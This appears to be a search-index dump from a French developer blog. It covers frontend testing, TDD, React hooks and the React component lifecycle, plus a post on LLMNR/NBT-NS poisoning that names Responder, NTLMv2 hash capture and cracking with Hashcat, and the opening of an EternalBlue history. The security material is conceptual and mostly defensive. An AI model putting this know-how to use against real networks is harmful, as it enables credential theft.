Provider } from \u0026#39;react-redux\u0026#39;; import MyComponent from \u0026#39;./MyComponent\u0026#39;; import store from \u0026#39;./store\u0026#39;; test(\u0026#39;can render with redux\u0026#39;, () =\u0026gt; { render( \u0026lt;Provider store={store}\u0026gt; \u0026lt;MyComponent /\u0026gt; \u0026lt;/Provider\u0026gt; ); }); En résumé : Les tests unitaires garantissent que chaque composant fonctionne isolément. Le Snapshot Testing assure que les changements inattendus dans l\u0026rsquo;interface utilisateur sont détectés. Les tests d\u0026rsquo;intégration vérifient l\u0026rsquo;interaction entre les composants et peuvent nécessiter des outils pour gérer l\u0026rsquo;état et le contexte. Bonus : TDD = Test-Driven Development # Test-Driven Development (TDD), ou Développement Dirigé par les Tests, est une méthode de développement logiciel qui met l\u0026rsquo;accent sur la rédaction des tests avant même d\u0026rsquo;écrire le code source. C\u0026rsquo;est une pratique qui influence profondément la conception du code et qui peut améliorer la qualité et la maintenabilité du système.\nIntroduction à la TDD # La TDD est une pratique de développement agile où les tests guident le développement. Elle suit un rythme cyclique basé sur trois étapes simples mais essentielles : Rouge, Vert, Refactorisation (Red, Green, Refactor en anglais). Dans la TDD, la conception n\u0026rsquo;est pas fixée dès le départ. Au lieu de cela, elle émerge naturellement à mesure que le développement progresse. Chaque cycle de TDD, en ajoutant de petites fonctionnalités et en refactorisant constamment, permet à la structure du code de s\u0026rsquo;adapter et de se perfectionner. Cela favorise une architecture plus flexible et plus adaptée aux besoins réels du système.\nLes trois étapes de la TDD # Rouge (Red) : Écrire un test qui échoue avant même de commencer à coder la fonctionnalité elle-même. Cela définit l\u0026rsquo;objectif à atteindre et assure que le test est correct et vérifiable.\nVert (Green) : Écrire le code minimal nécessaire pour que le test réussisse. Cela peut inclure du code \u0026ldquo;malpropre\u0026rdquo; ou temporaire, tant que le test passe.\nRefactorisation (Refactor) : Améliorer le code sans changer son comportement externe. Cela inclut le nettoyage, la suppression de la duplication, et l\u0026rsquo;amélioration de la lisibilité.\nIl faut garder en tête que la refactorisation n\u0026rsquo;est pas une étape optionnelle dans la TDD; c\u0026rsquo;est un élément essentiel. Après avoir écrit du code pour passer un test, la refactorisation permet d\u0026rsquo;examiner ce code et de le restructurer sans en changer le comportement. Cela implique souvent la suppression de la duplication, l\u0026rsquo;amélioration de la lisibilité, et l\u0026rsquo;optimisation de la performance. La refactorisation continue assure que le code reste propre et maintenable.\nCycle de TDD Pourquoi la TDD ? # La TDD promeut une conception modulaire et une architecture propre, facilitant le développement continu et évolutif. Voici quelques avantages notables:\nDéfinition claire des exigences : Les tests, en tant que spécifications, définissent exactement ce que doit faire le code. Développement incrémentiel : Chaque cycle TDD produit une nouvelle fonctionnalité, permettant un développement progressif. Réduction des bugs : Les tests constants assurent que les régressions sont rapidement détectées. Amélioration de la maintenabilité : Un code bien testé est généralement plus facile à comprendre, à modifier et à étendre. Défis de la TDD # Bien que puissant, le TDD peut présenter des défis:\nCourbe d\u0026rsquo;apprentissage : Adopter le TDD peut être difficile pour ceux qui ne sont pas habitués à penser en termes de tests. Complexité des tests : Les tests trop compliqués peuvent devenir un fardeau plutôt qu\u0026rsquo;une aide. Risque de sur-ingénierie : Une mauvaise compréhension de la TDD peut entraîner une conception trop complexe et rigide. Double boucle de la TDD # La TDD fonctionne souvent en double boucle, où une boucle externe gère les tests d\u0026rsquo;acceptation à un niveau plus élevé, et une boucle interne se concentre sur les tests unitaires pour chaque fonctionnalité. Les tests d\u0026rsquo;acceptation assurent que le système dans son ensemble fonctionne selon les exigences, tandis que les tests unitaires vérifient chaque partie isolément. Ensemble, ces boucles guident le développement pour assurer la cohérence et l\u0026rsquo;alignement avec les objectifs du projet.\n","date":"8 janvier 2023","permalink":"/dev-posts/front-tests/","section":"Dev-Posts","summary":"Des composants fonctionnels aux hooks moins connus, cet article décortique les capacités et les applications des Hooks dans React, permettant un code plus propre, modulable et optimisé.","title":"Les tests en Frontend : Un guide complet"},{"content":" Introduction aux Hooks React # Les Hooks sont une fonctionnalité introduite dans React 16.8 qui permet aux développeurs d\u0026rsquo;utiliser l\u0026rsquo;état et d\u0026rsquo;autres fonctionnalités de React sans avoir à écrire une classe. Avant les Hooks, la gestion de l\u0026rsquo;état et l\u0026rsquo;accès aux fonctionnalités du cycle de vie étaient confinés aux composants de classe, ce qui pouvait rendre le code plus lourd et moins réutilisable. Les Hooks offrent une manière plus élégante et fonctionnelle d\u0026rsquo;écrire des composants, favorisant une meilleure réutilisation du code, une plus grande lisibilité, et une meilleure séparation des préoccupations. Ils permettent aux développeurs d\u0026rsquo;extraire la logique de composant dans des fonctions réutilisables, rendant le code plus propre et plus modulaire.\nHooks classiques # Pour la présentation des hooks, chaque hook sera défini avec son utilité puis 1 ou 2 cas d\u0026rsquo;usages classiques et un squelette d\u0026rsquo;exemple pratique.\nuseState # Définition : Le Hook useState permet d\u0026rsquo;ajouter un état local à un composant fonctionnel.\nPourquoi c\u0026rsquo;est utile : Il permet une gestion de l\u0026rsquo;état dans un composant sans avoir besoin de convertir le composant en classe.\nCas d\u0026rsquo;usage :\nContrôler un formulaire. Afficher/Cacher un élément conditionnellement. Exemple pratique :\nconst [count, setCount] = useState(0); \u0026lt;button onClick={() =\u0026gt; setCount(count + 1)}\u0026gt;Incrémenter\u0026lt;/button\u0026gt; useEffect # Définition : Le Hook useEffect permet d\u0026rsquo;exécuter des effets secondaires dans les composants fonctionnels.\nPourquoi c\u0026rsquo;est utile : Il remplace les méthodes de cycle de vie componentDidMount, componentDidUpdate, et componentWillUnmount dans les composants de classe.\nCas d\u0026rsquo;usage :\nRécupération de données depuis une API. Ajouter/Retirer un écouteur d\u0026rsquo;événement. Exemple pratique :\nuseEffect(() =\u0026gt; { document.title = `Compteur ${count}`; }, [count]); // Dépendance sur la variable count useContext # Définition : Le Hook useContext permet d\u0026rsquo;accéder à la valeur actuelle du contexte sans avoir à envelopper le composant dans un Context.Consumer.\nPourquoi c\u0026rsquo;est utile : Simplifie l\u0026rsquo;accès aux valeurs du contexte dans un composant fonctionnel.\nCas d\u0026rsquo;usage :\nThématisation d\u0026rsquo;une application. Gestion globale de l\u0026rsquo;état. Exemple pratique :\nconst ThemeContext = React.createContext(\u0026#39;light\u0026#39;); const theme = useContext(ThemeContext); useReducer # Définition : Le Hook useReducer est similaire à useState mais permet de gérer une logique d\u0026rsquo;état plus complexe. Il utilise un réducteur pour gérer l\u0026rsquo;état du composant.\nPourquoi c\u0026rsquo;est utile : Idéal pour gérer l\u0026rsquo;état qui implique plusieurs valeurs interdépendantes.\nCas d\u0026rsquo;usage :\nGestion d\u0026rsquo;un formulaire avec plusieurs champs. Manipulation d\u0026rsquo;un état complexe dans une application. Exemple pratique :\nconst [state, dispatch] = useReducer(reducer, initialState); dispatch({ type: \u0026#39;INCREMENT\u0026#39; }); useCallback # Définition : Le Hook useCallback retourne une version mémoïsée d\u0026rsquo;une fonction callback.\nPourquoi c\u0026rsquo;est utile : Il aide à optimiser les performances en évitant la création de nouvelles instances de la fonction lors de chaque rendu.\nCas d\u0026rsquo;usage :\nPasser des callbacks à des composants enfants optimisés. Éviter les re-rendus inutiles. Exemple pratique :\nconst memoizedCallback = useCallback(() =\u0026gt; { // Logique de la fonction }, [dependencies]); useMemo # Définition : Le Hook useMemo retourne une valeur mémoïsée, calculée à l\u0026rsquo;aide d\u0026rsquo;une fonction.\nPourquoi c\u0026rsquo;est utile : Permet d\u0026rsquo;éviter des calculs coûteux lors de chaque rendu.\nCas d\u0026rsquo;usage :\nCalcul de valeurs dérivées complexes. Amélioration des performances en cas de calculs intensifs. Exemple pratique :\nconst memoizedValue = useMemo(() =\u0026gt; computeExpensiveValue(a, b), [a, b]); useRef # Définition : Le Hook useRef permet de garder une référence mutable qui persiste à travers les rendus.\nPourquoi c\u0026rsquo;est utile : Accéder aux éléments du DOM ou garder une valeur qui ne déclenche pas de rendu lorsqu\u0026rsquo;elle change.\nCas d\u0026rsquo;usage :\nFocus sur un champ de formulaire. Garder une trace d\u0026rsquo;une variable sans provoquer de rendu. Exemple pratique :\nconst inputRef = useRef(null); \u0026lt;input ref={inputRef} /\u0026gt; \u0026lt;button onClick={() =\u0026gt; inputRef.current.focus()}\u0026gt;Focus\u0026lt;/button\u0026gt; Conclusion # Les Hooks dans React ont révolutionné la façon dont nous écrivons et gérons les composants. Ils offrent une syntaxe plus claire, une meilleure réutilisation du code, et accèdent aux fonctionnalités avancées de React dans des composants fonctionnels.\nHooks moins connus # Ces hooks sont beaucoup moins utilités car ça permet de réaliser des optimisations qui peuvent mener à des anti-patterns, ou car ils correspondent à des utilisations très \u0026ldquo;niche\u0026rdquo; liée à de l\u0026rsquo;optimisation qui n\u0026rsquo;est que dans de rares cas nécessaire.\nExclusivement pour cette section, des explications plus détaillées seront rédigées pour expliquer les hooks dans le détail :\nuseImperativeHandle # Définition : Le Hook useImperativeHandle personnalise l\u0026rsquo;instance d\u0026rsquo;un composant exposée aux parents qui utilisent ref.\nUtilité : Ce Hook est spécifiquement conçu pour permettre à un composant parent d\u0026rsquo;interagir avec certaines méthodes d\u0026rsquo;un composant enfant. Il vous permet de personnaliser la valeur exposée à l\u0026rsquo;aide de la ref.\nPourquoi il est moins utilisé : Il s\u0026rsquo;écarte de l\u0026rsquo;approche fonctionnelle et déclarative typique de React, et peut donc rendre le code plus difficile à suivre. L\u0026rsquo;utilisation excessive peut conduire à des anti-modèles.\nCas d\u0026rsquo;usage :\nExposer des méthodes de contrôle pour un composant enfant. Cacher certaines implémentations internes d\u0026rsquo;un composant. Exemple pratique :\nfunction MyComponent(props, ref) { useImperativeHandle(ref, () =\u0026gt; ({ focus: () =\u0026gt; { // Logique de focus } })); } const MyComponentWithRef = forwardRef(MyComponent); useLayoutEffect # Définition : Le Hook useLayoutEffect a la même signature que useEffect, mais il s\u0026rsquo;exécute de manière synchrone après que toutes les modifications du DOM aient été effectuées.\nUtilité : Semblable à useEffect, ce Hook est utilisé pour effectuer des lectures ou des écritures synchrones sur le DOM. Il est exécuté avant que le navigateur n\u0026rsquo;ait eu la chance de \u0026ldquo;peindre\u0026rdquo;, permettant donc des transitions et des animations fluides.\nPourquoi il est moins utilisé : Son utilisation est spécifique aux situations où le timing de l\u0026rsquo;effet est crucial. Dans la plupart des cas, useEffect est suffisant, et l\u0026rsquo;utilisation incorrecte de useLayoutEffect peut causer des problèmes de performances.\nCas d\u0026rsquo;usage :\nMesurer la taille ou la position d\u0026rsquo;un élément du DOM après le rendu. Animer les transitions.\nExemple pratique :\nuseLayoutEffect(() =\u0026gt; { // Accéder aux valeurs du DOM ici }, [dependencies]); useDebugValue # Définition : Le Hook useDebugValue peut être utilisé pour afficher une étiquette pour des Hooks personnalisés dans React DevTools.\nUtilité : Ce Hook améliore le débogage en permettant d\u0026rsquo;afficher une étiquette dans React DevTools pour un Hook personnalisé. Il peut rendre le débogage plus clair et plus informatif.\nPourquoi il est moins utilisé : Son application est très spécifique à la création et au débogage de Hooks personnalisés. Pour de nombreux développeurs, le besoin de ce Hook peut être rare.\nCas d\u0026rsquo;usage :\nAfficher une valeur lisible lors du débogage. Fournir des informations supplémentaires sur un Hook personnalisé.\nExemple pratique :\nfunction useMyHook(value) { useDebugValue(value ? \u0026#39;Actif\u0026#39; : \u0026#39;Inactif\u0026#39;); // Logique du Hook } Point d\u0026rsquo;attention # Ces Hooks plus niches offrent des fonctionnalités puissantes mais spécifiques qui ne sont pas nécessaires dans la plupart des situations de développement quotidiennes. Leur utilisation cible des cas d\u0026rsquo;utilisation plus avancés ou spécialisés.\nL\u0026rsquo;utilisation de ces Hooks nécessite une compréhension plus profonde de leur fonctionnement et du moment où ils sont appropriés. Bien que moins communs, ils peuvent être extrêmement utiles dans les bonnes situations, et comprendre leur fonctionnement peut aider à résoudre certains problèmes complexes ou spécifiques dans une application React.\nGestion des Effets Secondaires # Définition # Dans une application React, vous serez souvent confronté à la nécessité de réaliser des opérations qui vont au-delà du rendu du composant, comme les requêtes réseau, les écouteurs d\u0026rsquo;événements, les souscriptions, et plus encore. Ces opérations sont connues sous le nom d\u0026rsquo;effets secondaires, et elles nécessitent une gestion soignée.\nUtilisation du Hook useEffect # Le Hook useEffect est un outil puissant dans React qui vous permet de gérer ces effets secondaires dans les composants fonctionnels. Il combine les fonctionnalités des méthodes componentDidMount, componentDidUpdate, et componentWillUnmount dans les composants de classe.\nExemple de requête réseau :\nuseEffect(() =\u0026gt; { const fetchData = async () =\u0026gt; { const response = await fetch(\u0026#39;https://api.example.com/data\u0026#39;); const data = await response.json(); // Mettre à jour l\u0026#39;état avec les données }; fetchData(); }, []); // Le tableau vide signifie que l\u0026#39;effet s\u0026#39;exécute une fois après le premier rendu Exemple d\u0026rsquo;écouteur d\u0026rsquo;événements :\nuseEffect(() =\u0026gt; { const handleResize = () =\u0026gt; { // Logique de gestion du redimensionnement }; window.addEventListener(\u0026#39;resize\u0026#39;, handleResize); // Retourner une fonction de nettoyage pour supprimer l\u0026#39;écouteur return () =\u0026gt; { window.removeEventListener(\u0026#39;resize\u0026#39;, handleResize); }; }, []); // Encore une fois, s\u0026#39;exécute une fois après le premier rendu Conclusion # La gestion des effets secondaires est un aspect crucial du développement en React. Le Hook useEffect offre une manière élégante et puissante de gérer ces effets secondaires, rendant votre code plus propre et plus maintenable.\nBonnes Pratiques et Anti-modèles # Bonnes Pratiques # Ne pas placer de Hooks à l\u0026rsquo;intérieur de boucles, conditions, ou fonctions imbriquées : Assurez-vous que les Hooks sont toujours appelés dans le même ordre.\nUtiliser plusieurs appels à useEffect pour séparer des logiques différentes : Cela rend votre code plus lisible et modulable.\nUtiliser la fonction de nettoyage dans useEffect : Pour éviter les fuites de mémoire, retournez une fonction de nettoyage pour supprimer les écouteurs, les souscriptions, etc.\nAnti-modèles # Omission de dépendances dans le tableau de dépendances : Si vous utilisez une valeur qui change dans l\u0026rsquo;effet, assurez-vous de l\u0026rsquo;inclure dans le tableau de dépendances de useEffect.\nUtilisation excessive de l\u0026rsquo;état global : Utiliser un état global pour tout peut rendre l\u0026rsquo;application plus difficile à maintenir. Utilisez l\u0026rsquo;état local lorsque c\u0026rsquo;est approprié.\nDépendance sur l\u0026rsquo;ordre d\u0026rsquo;exécution des Hooks : Ne dépendez pas de l\u0026rsquo;ordre d\u0026rsquo;exécution entre différents Hooks; ils doivent être indépendants.\n","date":"7 janvier 2023","permalink":"/dev-posts/react-hooks/","section":"Dev-Posts","summary":"Des composants fonctionnels aux hooks moins connus, cet article décortique les capacités et les applications des Hooks dans React, permettant un code plus propre, modulable et optimisé.","title":"React Hooks: Introduction, Utilisation et Bonnes Pratiques"},{"content":" Histoire de React # React est une bibliothèque JavaScript open-source créée par Facebook. Elle a été lancée en 2013 avec l\u0026rsquo;idée de construire des interfaces utilisateur réactives et efficaces. Le concept principal de React est la création de composants réutilisables qui gèrent leur propre état. Cela a révolutionné la façon dont les développeurs créent des applications web, en introduisant une manière plus modulaire et maintenable de construire des interfaces utilisateur.\nInnovation # React a marqué une innovation significative dans le développement front-end en introduisant le concept de composants réutilisables et en centralisant la gestion de l\u0026rsquo;état. Avant React, la gestion de l\u0026rsquo;état dynamique et l\u0026rsquo;interactivité dans les applications web étaient souvent complexes et dispersées. React a résolu ces problèmes en permettant aux développeurs de construire des interfaces utilisateur modulaires où chaque composant gère son propre état et sa logique. De plus, grâce à son algorithme de réconciliation virtuel, React est capable d\u0026rsquo;effectuer des mises à jour dans le DOM de manière très efficace. Ces innovations ont transformé la manière de développer des applications web, en rendant le processus plus structuré, maintenable, et performant.\nDifférence entre React.js, Vue.js et Angular # React # Nature : React est principalement une bibliothèque pour construire des interfaces utilisateur, et elle se concentre sur la vue dans le modèle MVC (Modèle-Vue-Contrôleur). Flexibilité : React offre plus de flexibilité dans le choix des autres bibliothèques et outils à utiliser avec elle. Vous pouvez choisir vos propres bibliothèques pour la gestion de l\u0026rsquo;état, le routage, etc. Composants : React utilise JSX, une syntaxe qui ressemble à HTML et qui est intégrée dans JavaScript, facilitant la création de composants.\nAngular # Nature : Angular est un cadre complet qui fournit non seulement des fonctionnalités pour la vue, mais aussi pour le modèle et le contrôleur. C\u0026rsquo;est une solution tout-en-un. Complexité : Angular a une courbe d\u0026rsquo;apprentissage plus raide en raison de sa complexité et de son ensemble complet de fonctionnalités. Langage : Angular utilise TypeScript, qui apporte des fonctionnalités de typage statique, augmentant la lisibilité et la robustesse du code.\nVue.js # Nature : Vue.js est un cadre progressif, ce qui signifie qu\u0026rsquo;il peut être adopté de manière incrémentielle. Vous pouvez l\u0026rsquo;utiliser pour des parties de votre projet ou pour une application complète. Simplicité : Vue.js est souvent loué pour sa simplicité et sa facilité d\u0026rsquo;apprentissage, en particulier pour les débutants. Flexibilité et Conception : Vue a un équilibre entre la flexibilité de React et les fonctionnalités d\u0026rsquo;Angular, avec une syntaxe simple et une séparation claire entre le modèle, la vue et la logique.\nLes principales différences avec React v16 # Avec la sortie de React v16 en septembre 2017, plusieurs changements majeurs ont été introduits. Le plus notable est le nouvel algorithme de réconciliation, nommé Fiber, qui a rendu le rendu des composants beaucoup plus efficace. React v16 a également apporté la prise en charge des fragments, la gestion des erreurs avec les limites d\u0026rsquo;erreur, et l\u0026rsquo;asynchronisme dans le rendu.\nClass components # Les composants de classe en React offrent une manière structurée de créer des composants ayant un état et un cycle de vie. Le cycle de vie est une série de phases que le composant traverse de sa création à sa destruction. Voici un aperçu plus détaillé :\nconstructor: Le constructeur est une méthode spéciale pour créer et initialiser un objet créé à partir d\u0026rsquo;une classe. En React, il est souvent utilisé pour initialiser l\u0026rsquo;état local et lier les gestionnaires d\u0026rsquo;événements. Par exemple: constructor(props) { super(props); this.state = { count: 0 }; this.handleClick = this.handleClick.bind(this); } componentDidMount: Cette méthode est appelée après que le composant a été inséré dans le DOM (Document Object Model), qui est la représentation structurée de votre document HTML. \u0026ldquo;Monter\u0026rdquo; un composant signifie que le composant est créé et inséré dans le DOM. Par exemple, vous pouvez démarrer une requête réseau ici. componentDidMount() { // Appel à une API ou autre logique } componentDidUpdate: Appelé après que le composant a été mis à jour dans le DOM. \u0026ldquo;Mettre à jour\u0026rdquo; signifie que quelque chose dans le composant a changé, comme l\u0026rsquo;état ou les props, et le rendu du composant est recalculé. componentDidUpdate(prevProps, prevState) { // Effectuer des opérations de mise à jour } componentWillUnmount: Appelé juste avant que le composant ne soit supprimé du DOM. C\u0026rsquo;est ici que vous effectuerez tout nettoyage nécessaire, comme l\u0026rsquo;annulation de requêtes réseau ou la suppression d\u0026rsquo;écouteurs d\u0026rsquo;événements. componentWillUnmount() { // Nettoyer les ressources } Component lifecycle diagramme Les composants fonctionnels: une meilleure voie # Les composants fonctionnels en React sont une manière plus simple et plus concise de créer des composants. Contrairement aux composants de classe, ils sont écrits comme de simples fonctions JavaScript, ce qui les rend plus lisibles et maintenables.\nAvec l\u0026rsquo;introduction des Hooks dans React v16.8, les composants fonctionnels peuvent maintenant accéder à des fonctionnalités autrefois réservées aux composants de classe, comme l\u0026rsquo;état et le cycle de vie.\nVoici un exemple d\u0026rsquo;un composant fonctionnel utilisant le Hook useState :\nimport React from \u0026#39;react\u0026#39;; function Counter() { const [count, setCount] = React.useState(0); return ( \u0026lt;div\u0026gt; \u0026lt;p\u0026gt;Le compteur est à : {count}\u0026lt;/p\u0026gt; \u0026lt;button onClick={() =\u0026gt; setCount(count + 1)}\u0026gt;Incrementer\u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; ); } Avec cette façon de fonctionner react a ajouté de : Optimalité :\nSimplicité : Les composants fonctionnels sont plus légers et nécessitent moins de code que les composants de classe, ce qui peut améliorer la performance.\nRéutilisation du code : Avec les Hooks personnalisés, vous pouvez extraire la logique du composant dans des fonctions réutilisables, évitant ainsi la duplication du code.\nFacilite les tests :\nMoins d\u0026rsquo;Implémentation de Détails : Les composants fonctionnels encouragent une séparation plus claire entre la logique et la présentation, ce qui rend les tests plus faciles car vous pouvez vous concentrer sur le comportement plutôt que sur la manière dont il est implémenté. Compatibilité avec les Outils de Test : Les bibliothèques de test comme React Testing Library fonctionnent bien avec les composants fonctionnels, facilitant la rédaction de tests qui suivent les meilleures pratiques. Un article sur les tests automatiques sera posté par la suite pour traiter les différents types de tests et leur utilité.\nHooks et le cycle de vie d\u0026rsquo;un composant # Les Hooks permettent aux composants fonctionnels d\u0026rsquo;accéder à des fonctionnalités qui étaient auparavant réservées aux composants de classe. Voici comment ils se comparent au cycle de vie des composants de classe:\nuseState : Remplace this.state dans les composants de classe. useEffect : Peut être utilisé pour gérer les effets secondaires et remplace componentDidMount, componentDidUpdate, et componentWillUnmount. useContext : Permet d\u0026rsquo;accéder au contexte sans avoir à utiliser un Consumer. Les Hooks favorisent une meilleure réutilisation du code et une séparation des préoccupations, rendant votre code plus propre et plus facile à maintenir.\nBonus : Les Méthodes de Cycle de Vie Obsolètes # Avec l\u0026rsquo;évolution de React, certaines méthodes de cycle de vie sont devenues obsolètes et ont été remplacées par des alternatives plus modernes et plus efficaces. Comprendre ces changements est essentiel pour maintenir des applications performantes et à jour.\nMéthodes Dépréciées # Voici quelques-unes des méthodes de cycle de vie qui ont été dépréciées dans les versions récentes de React :\ncomponentWillMount : Utilisé avant que le composant ne soit monté dans le DOM. Remplacé par le constructeur dans les composants de classe et le Hook useEffect avec un tableau de dépendances vide dans les composants fonctionnels.\ncomponentWillReceiveProps : Appelé avant que le composant ne reçoive de nouvelles props. Remplacé par static getDerivedStateFromProps.\ncomponentWillUpdate : Appelé juste avant que le rendu ne se produise lors d\u0026rsquo;une mise à jour. Remplacé par componentDidUpdate.\nRaisons de la Dépréciation # Ces méthodes ont été dépréciées pour plusieurs raisons, notamment :\nAmélioration des Performances : Les nouvelles méthodes offrent une meilleure optimisation et un rendu plus efficace. Compatibilité avec les Futures Fonctionnalités : La dépréciation facilite l\u0026rsquo;introduction de fonctionnalités asynchrones et d\u0026rsquo;autres améliorations dans React. Lisibilité et Maintenance : Les nouvelles méthodes et Hooks favorisent un code plus propre et plus maintenable. ","date":"6 janvier 2023","permalink":"/dev-posts/react-components-lifecycle/","section":"Dev-Posts","summary":"De l\u0026rsquo;introduction de React à la transformation avec la version 16, cet article explore l\u0026rsquo;évolution des composants de classe et fonctionnels, met en évidence les avantages des Hooks et démontre pourquoi React est devenu un choix incontournable dans le développement d\u0026rsquo;interfaces utilisateur.","title":"React: Composants, Cycle de Vie, et Évolution Modernes"},{"content":"","date":"5 janvier 2023","permalink":"/tags/dns/","section":"Tags","summary":"","title":"DNS"},{"content":"","date":"5 janvier 2023","permalink":"/tags/exploit/","section":"Tags","summary":"","title":"Exploit"},{"content":"","date":"5 janvier 2023","permalink":"/tags/llmnr/","section":"Tags","summary":"","title":"LLMNR"},{"content":" Introduction # Le LLMNR (Link-Local Multicast Name Resolution) est un protocole qui permet aux ordinateurs d\u0026rsquo;un réseau local de résoudre les noms d\u0026rsquo;autres ordinateurs sans avoir besoin d\u0026rsquo;un serveur DNS. Bien que pratique, ce protocole présente des vulnérabilités qui peuvent être exploitées par des attaquants. L\u0026rsquo;une de ces vulnérabilités est le LLMNR poisoning. Cet article explore cette vulnérabilité en détail.\nFonctionnement # Le LLMNR poisoning se produit lorsque l\u0026rsquo;attaquant répond à une requête LLMNR avant l\u0026rsquo;hôte légitime. Cela permet à l\u0026rsquo;attaquant de rediriger le trafic vers une machine contrôlée, souvent pour capturer des informations sensibles.\nRequête LLMNR : Un client envoie une requête LLMNR pour résoudre un nom d\u0026rsquo;hôte. Réponse empoisonnée : L\u0026rsquo;attaquant intercepte la requête et envoie une réponse empoisonnée avec l\u0026rsquo;adresse IP de sa machine. Redirection du trafic : Le client envoie le trafic à l\u0026rsquo;adresse IP de l\u0026rsquo;attaquant, révélant potentiellement des informations sensibles. LLMNR fonctionnement Implications et conséquences # Le LLMNR poisoning peut avoir de graves conséquences:\nVol d\u0026rsquo;informations : L\u0026rsquo;attaquant peut capturer des identifiants, des mots de passe et d\u0026rsquo;autres données sensibles. Attaques Man-in-the-Middle (MitM) : L\u0026rsquo;attaquant peut modifier le trafic entre deux parties sans qu\u0026rsquo;elles le sachent. Propagation dans le réseau : L\u0026rsquo;attaquant peut utiliser les informations capturées pour se déplacer latéralement dans le réseau. Comment découvrir si un SI y est vulnérable # Pour découvrir si un système d\u0026rsquo;information (SI) est vulnérable au LLMNR poisoning, vous pouvez:\nUtiliser des outils de scanning comme Nmap avec des scripts spécifiques comme llmnr-resolve Suite à un scan PingCastle, il est possible de détecter si le LLMNR est activé. Comment ça s\u0026rsquo;exploite # L\u0026rsquo;exploitation du LLMNR poisoning peut être réalisée avec des outils comme Responder ou Metasploit. Le processus typique comprend:\nÉcoute des requêtes LLMNR sur le réseau. Envoi de réponses empoisonnées. Capture et analyse du trafic redirigé. Prévention et atténuation Globalement, ceci passe par l\u0026rsquo;utilisation de responder qui permet de lancer un poisoner et renvoyer par la suite des identifiants dès que c\u0026rsquo;est rentré par l\u0026rsquo;utilisateur. On va par la suite recevoir le hash NTLMv2 écrit sur le disque, avec les ressources et le temps nécessaire, il est possible de craquer ce dernier avec Hashcat.\nPrévenir le LLMNR poisoning # Désactiver LLMNR : La meilleure façon d\u0026rsquo;éviter une attaque de LLMNR poisoning est de désactiver le protocole LLMNR sur votre réseau. Si vous n\u0026rsquo;utilisez pas ce service, il n\u0026rsquo;est pas nécessaire de prendre ce risque de sécurité supplémentaire. Si vous avez besoin de cette fonctionnalité, le protocole Domain Name System (DNS) est une alternative plus sûre.\nExiger le contrôle d\u0026rsquo;accès réseau (Network Access Control) : Le contrôle d\u0026rsquo;accès réseau empêche les attaques de LLMNR poisoning en appliquant des politiques de sécurité strictes et des mesures de contrôle d\u0026rsquo;accès sur tous les appareils du réseau. Il peut détecter et bloquer les appareils non autorisés et fournir une surveillance et des alertes en temps réel. Il peut également limiter la surface d\u0026rsquo;attaque en appliquant la segmentation du réseau.\nMettre en œuvre la segmentation du réseau : Vous pouvez limiter la portée des attaques de LLMNR Poisoning en divisant votre réseau en sous-réseaux plus petits. Cela peut être réalisé grâce à l\u0026rsquo;utilisation de VLAN, de pare-feu et d\u0026rsquo;autres mesures de sécurité réseau.\nUtiliser des mots de passe forts : Dans le cas où une attaque de LLMNR Poisoning se produit, il est conseillé d\u0026rsquo;utiliser des mots de passe forts qui ne peuvent pas être facilement craqués. Les mots de passe faibles peuvent être facilement devinés ou existent déjà dans une table de dictionnaire ou une liste de mots de passe.\nIl faut aussi garder en tête, que normalement, comme expliqué sur le schéma précédent, ce qui arrive théoriquement c\u0026rsquo;est : Echec sur le DNS =\u0026gt; Envoie sur le LLMNR et si echec dessus =\u0026gt; Envoi sur du NBT-NS. NBT-NS est aussi vulnérable au NBT-NS poisoning, il est donc recommandé de le désactiver.\nDésactiver NetBios : Ouvrez le Panneau de configuration \\ Réseau et Internet \\ Connexions réseau et partage Faites un clic droit sur l\u0026rsquo;interface réseau, sélectionnez les propriétés, puis double-cliquez sur \u0026ldquo;Internet Protocol Version 4 TCP/IPv4\u0026rdquo; Dans la fenêtre suivante, cliquez sur \u0026ldquo;Avancé\u0026rdquo;, puis sélectionnez l\u0026rsquo;onglet WINS Sélectionnez ensuite l\u0026rsquo;option \u0026ldquo;Disable Netbios over TCP/IP\u0026rdquo; (Désactiver Netbios sur TCP/IP) Quel contexte de pentest n\u0026rsquo;est pas adapté à ce genre d\u0026rsquo;attaques # Le LLMNR poisoning nécessite généralement un accès au réseau local. Par conséquent, dans des contextes où l\u0026rsquo;accès est limité, comme un accès VPN sans accès complet au réseau interne, cette attaque peut ne pas être applicable.\nConclusion # Le LLMNR poisoning est une vulnérabilité sérieuse qui peut avoir des conséquences dévastatrices. Comprendre son fonctionnement, ses implications et comment le prévenir est essentiel pour la sécurité d\u0026rsquo;un réseau. Cet article a fourni une vue d\u0026rsquo;ensemble complète et exhaustive de cette vulnérabilité, couvrant tous les aspects pertinents pour les professionnels de la sécurité et les administrateurs réseau.\n","date":"5 janvier 2023","permalink":"/cyber-posts-vulnerabilities/llmnr-poisonning/","section":"Cyber-Posts-Vulnerabilities","summary":"Le LLMNR Poisoning est une technique d\u0026rsquo;attaque qui exploite une faiblesse dans le protocole LLMNR, permettant aux attaquants de rediriger et d\u0026rsquo;intercepter le trafic sur un réseau local. Cet article explore en profondeur cette vulnérabilité, ses implications, et comment la prévenir.","title":"LLMNR Poisoning: Une Vulnérabilité Silencieuse"},{"content":"","date":"5 janvier 2023","permalink":"/tags/nbt-ns/","section":"Tags","summary":"","title":"NBT-NS"},{"content":"","date":"5 janvier 2023","permalink":"/tags/poisoning/","section":"Tags","summary":"","title":"Poisoning"},{"content":"","date":"5 janvier 2023","permalink":"/tags/r%C3%A9seau/","section":"Tags","summary":"","title":"Réseau"},{"content":"","date":"5 janvier 2023","permalink":"/tags/ssi/","section":"Tags","summary":"","title":"SSI"},{"content":"","date":"4 janvier 2023","permalink":"/tags/eternalblue/","section":"Tags","summary":"","title":"EternalBlue"},{"content":" Introduction # EternalBlue est un exploit connu qui a été rendu tristement célèbre par son utilisation dans l\u0026rsquo;attaque du rançongiciel WannaCry en 2017. Cet exploit, présumé avoir été développé par la National Security Agency (NSA) des États-Unis, cible les versions de Microsoft Windows XP à Windows Server 2012 R2. Cet article explore l\u0026rsquo;histoire, le fonctionnement et les implications de l\u0026rsquo;exploit EternalBlue.\nHistorique # L\u0026rsquo;exploit EternalBlue a été publié pour la première fois par le groupe de hackers appelé The Shadow Brokers en avril 2017. Il faisait partie d\u0026rsquo;une collection plus large d\u0026rsquo;outils qui, selon les rumeurs, avaient été volés à l\u0026rsquo;unité Equation Group de la NSA. Quelques semaines après la divulgation de l\u0026rsquo;exploit, il a été utilisé dans l\u0026rsquo;attaque mondiale du rançongiciel WannaCry qui 